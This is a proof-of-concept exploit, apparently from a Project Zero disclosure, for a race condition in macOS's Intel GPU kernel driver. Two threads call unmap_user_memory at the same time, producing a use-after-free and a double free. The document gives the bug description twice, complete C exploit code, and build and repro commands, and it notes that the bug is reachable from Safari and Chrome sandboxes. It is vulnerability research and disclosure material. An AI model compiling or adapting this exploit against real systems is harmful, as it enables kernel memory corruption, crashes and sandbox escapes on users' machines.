Apple Mac OSX Kernel - Use-After-Free and Double Delete Due to Incorrect Locking in Intel GPU Driver

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=708

The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.

The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
  ::contains
  ::get
  ::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.

The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.

The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.

This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/

//ianbeer

// build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit -lpthread
// repro: while true; do ./ig_gl_unmap_racer; done
//        (try something like this in your boot-args for a nice panic log: gzalloc_min=0x80 gzalloc_max=0x120 -zc -zp)

/*
Use after free and double delete due to incorrect locking in Intel GPU Driver

The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.

The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
  ::contains
  ::get
  ::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.

The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.

The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.

This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <IOKit/IOKitLib.h>


struct mem_desc {
  uint64_t ptr;
  uint64_t size;
};

uint64_t map_user_memory(mach_port_t conn) {
  kern_return_t err;
  void* mem = malloc(0x20000);
  // make sure that the address we pass is page-aligned:
  mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
  printf("trying to map user pointer: %p\n", mem);
  
  uint64_t inputScalar[16] = {0};  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096] = {0};
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16] = {0};
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096] = {0};
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x10;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  struct mem_desc* md = (struct mem_desc*)inputStruct;
  md->ptr = (uint64_t)mem;
  md->size = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x200, // IGAccelGLContext::map_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   //return 0;
  } else{
    printf("worked? outputScalarCnt = %d\n", outputScalarCnt);
  }
    
  printf("outputScalarCnt = %d\n", outputScalarCnt);

  md = (struct mem_desc*)outputStruct;
  printf("0x%llx :: 0x%llx\n", md->ptr, md->size);

  return (uint64_t)mem;
}

uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x8;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  *((uint64_t*)inputStruct) = handle;

  err = IOConnectCallMethod(
   conn,
   0x201, // IGAccelGLContext::unmap_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  // should be intel integrated graphics (only tested on MBA)  

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

mach_port_t gl_context = MACH_PORT_NULL;
uint64_t handle = 0;


OSSpinLock lock = OS_SPINLOCK_INIT;

void go(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  //usleep(1);

  unmap_user_memory(gl_context, handle);
  printf("called unmap from thread\n");
}





int main(int argc, char** argv){
  // get an IGAccelGLContext
  gl_context = get_user_client("IOAccelerator", 1);

  // get a IGAccelSharedUserClient
  mach_port_t shared = get_user_client("IOAccelerator", 6);

  // connect the gl_context to the shared UC so we can actually use it:
  kern_return_t err = IOConnectAddClient(gl_context, shared);
  if (err != KERN_SUCCESS){
   printf("IOConnectAddClient error: %x\n", err);
   return 0;
  }

  printf("added client to the shared UC\n");

  handle = map_user_memory(gl_context);

  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, (void*) go, NULL);

  usleep(100000);

  OSSpinLockUnlock(&lock);

  unmap_user_memory(gl_context, handle);
  printf("called unmap from main process thread\n");
  pthread_join(t, NULL);


  return 0;


}